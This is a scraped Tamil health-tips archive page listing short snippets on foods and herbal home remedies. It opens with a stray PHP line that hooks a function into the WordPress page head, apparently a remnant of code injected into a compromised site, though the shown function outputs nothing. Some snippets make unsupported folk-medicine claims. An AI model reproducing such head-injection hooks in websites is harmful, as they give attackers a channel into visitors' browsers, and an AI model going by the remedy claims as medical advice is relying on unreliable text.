/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ உடல் நலம் Archives - Page 18 of 24 - Thagaval kalam

உடல் நலம்

சௌ சௌ மருத்துவ குணங்கள்..!

சௌ சௌ பொதுவாக ஒரு காய்கறி போன்றே தயார் செய்யப்படுகிறது என்றாலும், அது உண்மையில் ஒரு பழம் ஆகும். இதில் மிகவும் முறுமுறுப்பான சதை...

இருமலுக்கு இயற்கை வைத்தியம்..!

கற்பூரவள்ளி இலையின் சாற்றை சிறிதளவு சர்க்கரை கலந்து கொடுத்தால், குழந்தைகளின் கபம் கலந்த இருமல் நீங்கும். வறட்டு இருமலுக்கு திப்பிலியை வறுத்துப் பொடி செய்து,...

பித்தத்திலிருந்து விடுதலை பெற!

கல்லீரலில் மஞ்சள் நிறத்தில் சுரக்கின்ற ஒரு வகை திரவத்தைத்தான் பித்தம் என்று சொல்கின்றோம். நம் செரிமானத்திற்கு உதவி, இன்றியமையாத பணியை இந்த பித்த நீர்...

தினமும் தவறாமல் உணவில் சேர்க்க வேண்டிய உணவுகள்!

இன்றைய அவசர உலகில் உடலுக்கு நிறைய பாதிப்புகள் மற்றும் பிரச்சனைகள் ஏற்படுகின்றன. ஏனெனில் அனைவரும் உடலுக்கு ஆரோக்கியத்தை தரும் உணவுகளை தவிர, மற்ற உணவுகளையே...

மலர்களும் மருந்தாகும்

கூந்தலில் சூட்டி அழகு பார்க்கப்பட்ட பூக்கள், இறைவனுக்கு சார்த்தி பெருமை செய்யப்பட்ட பூக்கள், ஜாடிகளில் அடுக்கி அலங்கரிக்கப்பட்ட பூக்கள், பரிசளித்து பரவசப்பட்ட பூக்கள் இப்போது...

இரத்தத்தில் சர்க்கரையின் அதிகரிப்புக்கான அறிகுறிகள்

இரத்தத்தில் உள்ள சர்க்கரையின் அளவானது அளவுக்கு அதிகமாக இருக்கிறதோ, அப்போது உடனே அதனைக் கட்டுப்படுத்தும் முயற்சியில் ஈடுபட வேண்டும். இல்லாவிட்டால், அது உயிருக்கே ஆபத்தை...

8 வடிவ நடை பயிற்சியின் செய்முறை மற்றும் பலன்கள்

மனித உடல் அவரவர் கை அளவுக்கு எண்ஜான் அளவுமட்டும் இருக்கும். நமது வீட்டின் உள்ளோயோ அல்லது மாடியிலோ இடம் தேர்வு செய்து, 6 க்கு...

அத்திப்பழம் சாப்பிட்டால் இவ்வளவு நன்மைகளா..!

அத்திப்பழம் உணவை விரைவில் ஜீரணிக்கச் செய்து, சுறுசுறுப்பைத்தந்து, கரும் பித்தத்தை வியர்வை மூலம் வெளியாக்கி, ஈரல், நுரையீரலிலுள்ள தடுப்புகளையும் நீக்குகிறது. அத்திப்பழத்தைத் தின்பதால் வெட்டையின்...

தேங்காய் பூ சாப்பிட்டால் கிடைக்கும் நன்மைகள்..

தேங்காய் பூவை நீங்கள் பார்த்திருப்பீர்களா என்று தெரியாது. ஆனால் இது எப்படி செய்யப்படுகிறது என்று நிறைய பேருக்குத் தெரியாது. நன்கு முற்றிய தேங்காயில் இருந்து...

கருப்பு உளுந்து சாப்பிடுவதால் ஏற்படும் நன்மைகள்..!

கருப்பு உளுந்து தெற்காசியாவை தாயகமாகக் கொண்டது. தெற்காசியாவில் வளர்க்கப்படும் முக்கியமாக பயிர் கருப்பு உளுந்து. தமிழ் சமையலில் தோசை, இட்லி, வடை, உளுந்து களி,...